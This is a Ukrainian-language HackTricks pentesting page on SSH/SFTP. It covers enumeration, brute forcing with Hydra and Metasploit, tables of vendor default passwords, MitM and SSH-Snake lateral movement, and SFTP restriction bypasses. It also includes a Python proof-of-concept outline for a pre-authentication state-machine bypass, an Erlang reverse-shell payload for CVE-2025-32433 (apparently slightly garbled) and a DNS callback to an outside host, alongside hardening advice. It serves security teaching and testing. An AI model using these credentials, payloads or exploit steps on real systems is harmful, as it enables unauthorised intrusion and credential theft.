22 - Pentesting SSH/SFTP

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Базова інформація

SSH (Secure Shell or Secure Socket Shell) — це мережевий протокол, який забезпечує захищене підключення до комп’ютера через незахищену мережу. Він необхідний для збереження конфіденційності та цілісності даних при доступі до віддалених систем.

Порт за замовчуванням: 22

22/tcp open  ssh     syn-ack

SSH сервери:

  • openSSH – OpenBSD SSH, постачається в BSD, дистрибутивах Linux та Windows починаючи з Windows 10
  • Dropbear – реалізація SSH для середовищ з обмеженою пам’яттю та процесорними ресурсами, постачається в OpenWrt
  • PuTTY – реалізація SSH для Windows, клієнт використовується часто, тоді як використання сервера зустрічається рідше
  • CopSSH – реалізація OpenSSH для Windows

SSH бібліотеки (реалізація серверної сторони):

  • libssh – кросплатформна C-бібліотека, що реалізує протокол SSHv2 з биндингами для Python, Perl та R; використовується KDE для sftp та GitHub для git SSH інфраструктури
  • wolfSSH – серверна бібліотека SSHv2, написана на ANSI C і орієнтована на embedded, RTOS та ресурсно-обмежені середовища
  • Apache MINA SSHD – Apache SSHD Java бібліотека, яка базується на Apache MINA
  • paramiko – Python бібліотека для протоколу SSHv2

Перерахування

nc -vn <IP> 22

Автоматизований ssh-audit

ssh-audit — інструмент для аудиту конфігурацій ssh-сервера та клієнта.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Особливості:

  • Підтримка серверів протоколів SSH1 та SSH2;
  • Аналіз конфігурації SSH-клієнта;
  • Отримання банера, розпізнавання пристрою, програмного забезпечення та операційної системи, виявлення стиснення;
  • Збір алгоритмів key-exchange, host-key, encryption та message authentication code;
  • Вивід інформації про алгоритми (доступні з версії, видалені/вимкнені, небезпечні/слабкі/legacy тощо);
  • Вивід рекомендацій щодо алгоритмів (додавати або видаляти на основі розпізнаної версії ПЗ);
  • Вивід інформації з безпеки (пов’язані проблеми, призначений список CVE тощо);
  • Аналіз сумісності версій SSH на основі інформації про алгоритми;
  • Історична інформація з OpenSSH, Dropbear SSH та libssh;
  • Працює на Linux і Windows;
  • Без залежностей
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Публічний SSH ключ сервера

ssh-keyscan -t rsa <IP> -p <PORT>

Слабкі шифрові алгоритми

Це виявляється за замовчуванням за допомогою nmap. Але ви також можете використовувати sslcan або sslyze.

Nmap скрипти

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

У деяких версіях OpenSSH можна виконати timing attack для enumerate users. Для цього можна використати metasploit module:

msf> use scanner/ssh/ssh_enumusers

Brute force

Деякі поширені ssh облікові дані here і here та нижче.

Private Key Brute Force

Якщо у вас є деякі ssh приватні ключі, які могли б бути використані… спробуємо. Можна використати nmap script:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Або MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Або використовуйте ssh-keybrute.py (native python3, легкий і з увімкненими legacy алгоритмами): snowdroppe/ssh-keybrute.

Відомі badkeys можна знайти тут:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Слабкі SSH ключі / передбачуваний PRNG у Debian

Деякі системи мають відомі вади в початковому seed, що використовується для генерації криптографічних матеріалів. Це може призвести до значного зменшення простору ключів, який можна перебрати методом bruteforce. Попередньо згенеровані набори ключів, створені на системах Debian, що постраждали від слабкого PRNG, доступні тут: g0tmi1k/debian-ssh.

Тут варто шукати дійсні ключі для цільової машини.

Kerberos / GSSAPI SSO

Якщо цільовий SSH-сервер підтримує GSSAPI (наприклад Windows OpenSSH на domain controller), ви можете аутентифікуватися, використовуючи ваш Kerberos TGT замість пароля.

Workflow from a Linux attacker host:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notes:

  • Якщо ви підключитесь до неправильного імені (наприклад, коротке ім’я хоста, псевдонім або неправильний порядок у /etc/hosts), ви можете отримати: “Server not found in Kerberos database” через те, що SPN не збігається.
  • crackmapexec ssh --kerberos також може використовувати ваш ccache для Kerberos auth.

Default Credentials

VendorUsernamesPasswords
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Якщо ви знаходитесь у локальній мережі поруч із жертвою, яка підключатиметься до SSH-сервера за допомогою імені користувача та пароля, ви можете спробувати perform a MitM attack to steal those credentials:

Attack path:

  • Traffic Redirection: Атакуючий перенаправляє трафік жертви на свою машину, ефективно перехоплюючи спробу підключення до SSH-сервера.
  • Interception and Logging: Машина атакуючого виступає як проксі, захоплюючи дані для входу користувача, видаючи себе за легітимний SSH-сервер.
  • Command Execution and Relay: Нарешті, сервер атакуючого логить облікові дані користувача, пересилає команди до реального SSH-сервера, виконує їх та надсилає результати назад користувачеві, роблячи процес безшовним і правдоподібним.

SSH MITM робить саме те, що описано вище.

Щоб виконати фактичний MitM, ви можете використовувати техніки на кшталт ARP spoofing, DNS spoofin або інші, описані в Network Spoofing attacks.

SSH-Snake

Якщо ви хочете переміщуватися мережею, використовуючи знайдені SSH private keys на системах, застосовуючи кожен приватний ключ на кожній системі для нових хостів, то SSH-Snake — саме те, що вам потрібно.

SSH-Snake автоматично та рекурсивно виконує такі дії:

  1. На поточній системі знаходить будь-які SSH private keys,
  2. На поточній системі знаходить будь-які хости чи цілі (user@host), куди ці private keys можуть бути прийняті,
  3. Спробує SSH на всі цілі, використовуючи всі знайдені private keys,
  4. Якщо підключення до якоїсь цілі вдале — повторює кроки 1–4 на підключеній системі.

Він повністю саморозмножується і само-пропагується — і повністю fileless.

Config Misconfigurations

Root login

Зазвичай SSH-сервери дозволяють входити як root за замовчуванням, що створює значний ризик безпеки. Вимкнення root login — критичний крок для захисту сервера. Нелегальний доступ з адміністративними привілеями та атаки методом перебору можна пом’якшити, зробивши цю зміну.

To Disable Root Login in OpenSSH:

  1. Edit the SSH config file with: sudoedit /etc/ssh/sshd_config
  2. Change the setting from #PermitRootLogin yes to PermitRootLogin no.
  3. Reload the configuration using: sudo systemctl daemon-reload
  4. Restart the SSH server to apply changes: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

У налаштуваннях SFTP часто трапляється помилка: адміністратори хочуть, щоб користувачі обмінювалися файлами без доступу до віддаленої shell. Незважаючи на те, що для користувачів встановлюють non-interactive shells (наприклад, /usr/bin/nologin) і обмежують їх певним каталогом, залишається прогалина в безпеці. Користувачі можуть обійти ці обмеження, запитавши виконання команди (наприклад, /bin/bash) відразу після входу, до того як їхній non-interactive shell набуде чинності. Це дозволяє несанкціоноване виконання команд, підриваючи намірені заходи безпеки.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Ось приклад безпечної конфігурації SFTP (/etc/ssh/sshd_config – openSSH) для користувача noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Ця конфігурація дозволяє лише SFTP: вона вимикає shell access, встановлюючи start command, та відключає TTY access, а також блокує всі види port forwarding або tunneling.

SFTP Tunneling

Якщо у вас є доступ до SFTP server, ви також можете tunnel свій трафік через нього, наприклад, використовуючи поширений port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

У sftp є команда «symlink». Отже, якщо у вас є права на запис у якійсь теці, ви можете створювати symlinks для інших папок/файлів. Оскільки ви, ймовірно, обмежені всередині chroot, це не буде особливо корисно для вас, але якщо ви можете отримати доступ до створеного symlink із no-chroot сервісу (наприклад, якщо сервіс має доступ до symlink через веб), ви зможете відкривати файли, на які вказує symlink, через веб.

Наприклад, щоб створити symlink з нового файлу froot” до “/:

sftp> symlink / froot

Якщо ви можете отримати доступ до файлу “froot” через веб, ви зможете перерахувати вміст кореневої (“/”) папки системи.

Методи автентифікації

У середовищі з підвищеною безпекою зазвичай вмикають лише автентифікацію на основі ключа або двофакторну автентифікацію замість простішої password-орієнтованої автентифікації. Але часто сильніші методи автентифікації вмикають, не вимикаючи слабші. Частим випадком є ввімкнення publickey у конфігурації openSSH і встановлення його як методу за замовчуванням, але без відключення password. Тому, використовуючи режим verbose SSH-клієнта, атакуючий може побачити, що слабший метод увімкнений:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Наприклад, якщо встановлено ліміт невдалих спроб аутентифікації і ви ніколи не доходите до методу password, можна використовувати опцію PreferredAuthentications, щоб примусово використовувати цей метод.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Необхідно переглянути конфігурацію SSH-сервера, щоб перевірити, що дозволені лише очікувані методи. Використання режиму verbose на клієнті може допомогти побачити ефективність конфігурації.

Файли конфігурації

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Недавні критичні вразливості (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 видалив async-safe захист логування всередині обробника SIGALRM у sshd, повторно введучи CVE-2006-5051 і дозволивши неавторизованим атакувальникам корумпувати heap glibc одразу після закінчення LoginGraceTime. Qualys експлуатував баг для root RCE на 32-bit Linux і зазначив, що 64-bit цілі залишаються піддаваними brute-force при достатній кількості підготовчих спроб, тому пріоритетніше перевіряти хости, які під час банер-сканування все ще розкривають ці версії.

Експлуатація базується на таймінгу: нагрузіть демон половинами відкритих сесій, які ніколи не аутентифікуються, щоб привілейований монітор repeatedly заходив у вразливий сигнал-путь, поки ви формуєте стан аллокатора.

Поради оператору:

  • Визначте версію збірки за допомогою ssh -V (remote banner) або ssh -G <target> | grep ^userauths і підтвердіть, що LoginGraceTime не дорівнює нулю.
  • Перевірте навантаження лабораторної цілі, спамлячи короткоживучі сесії, які не просять аутентифікації, наприклад:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • Хости, які примусово встановлюють LoginGraceTime 0, ніколи не потрапляють у buggy code path — очікуйте лише DoS-вектор через вичерпання MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 та 5.6.1 постачалися з троянурованими tarball-релізами, чиї скрипти збірки розпаковували прихований об’єкт під час упаковки для Debian/RPM на x86-64 Linux. Payload зловживає IFUNC резольвером glibc, щоб підмінити RSA_public_decrypt в sshd (коли патчі systemd змушують liblzma завантажитись) і приймає пакети, підписані атакувальником, для виконання коду до авторизації.

Оскільки шкідлива логіка живе лише всередині тих упакованих бінарників, оффензивна валідація мусить інспектувати те, що фактично встановлено на жертві: перевіряйте xz --version, rpm -qi xz/dpkg -l xz-utils, порівнюйте хеші /usr/lib*/liblzma.so*, і перевіряйте ldd /usr/sbin/sshd | grep -E "systemd|lzma", щоб побачити, чи взагалі sshd тягне скомпрометовану залежність. Хук залишається сплячим, якщо тільки шлях процесу не /usr/sbin/sshd, тому для відтворення backdoor у лабораторії часто потрібне відтворення середовища збірки дистрибутива.

Authentication State-Machine Bypass (Pre-Auth RCE)

Деякі реалізації SSH-сервера містять логічні помилки в authentication finite-state machine, які дозволяють клієнту надсилати connection-protocol повідомлення до завершення аутентифікації. Оскільки сервер не перевіряє, що він перебуває в коректному стані, ці повідомлення обробляються так, ніби користувач повністю аутентифікований, що призводить до неавторизованого виконання коду або створення сесії.

На рівні протоколу будь-яке SSH-повідомлення з message code ≥ 80 (0x50) належить до шару connection (RFC 4254) і має прийматися лише після успішної аутентифікації (RFC 4252). Якщо сервер обробляє одне з таких повідомлень, перебуваючи ще в стані SSH_AUTHENTICATION, атакувальник може негайно створити channel і запросити дії, такі як виконання команд, port-forwarding тощо.

Загальні кроки експлуатації

  1. Встановіть TCP-з’єднання з SSH-портом цілі (зазвичай 22, але інші сервіси можуть експонувати Erlang/OTP на 2022, 830, 2222…).
  2. Сформуйте raw SSH-пакет:
    • 4-байтний packet_length (big-endian)
    • 1-байтний message_code ≥ 80 (наприклад SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
    • Payload, який буде інтерпретований обраним типом повідомлення
  3. Відправте пакет(и) до завершення будь-якого кроку аутентифікації.
  4. Взаємодійте з API сервера, які тепер доступні pre-auth (виконання команд, port forwarding, доступ до файлової системи тощо).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

На практиці потрібно виконати (або пропустити) key-exchange відповідно до реалізації цілі, але no authentication ніколи не виконується.


Erlang/OTP sshd (CVE-2025-32433)

  • Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Коренева причина: нативний SSH-демон Erlang не перевіряє поточний стан перед викликом ssh_connection:handle_msg/2. Тому будь-який пакет з кодом повідомлення 80-255 доходить до обробника з’єднання, поки сесія все ще знаходиться в стані userauth.
  • Наслідки: unauthenticated remote code execution (демон зазвичай працює як root на embedded/OT пристроях).

Приклад payload, який породжує reverse shell, прив’язаний до каналу, контрольованого зловмисником:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection можна виконати через DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Виявлення та пом’якшення:

  • Перевіряйте трафік SSH: відкидати будь-який пакет з кодом повідомлення ≥ 80, помічений до автентифікації.
  • Оновіть Erlang/OTP до 27.3.3 / 26.2.5.11 / 25.3.2.20 або новішої версії.
  • Обмежте доступність портів керування (22/2022/830/2222) – особливо на OT обладнанні.

Інші реалізації, яких це торкається

  • libssh 0.6 – 0.8 (з боку сервера) – CVE-2018-10933 – приймає неаутентифікований SSH_MSG_USERAUTH_SUCCESS, надісланий клієнтом, що фактично є зворотною логічною помилкою.

Загальний висновок: будь-яке відхилення від переходів станів, визначених RFC, може бути фатальним; при перегляді або fuzzing SSH daemons приділяйте особливу увагу контролю дотримання автомата станів.

Посилання

HackTricks Автоматичні команди

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks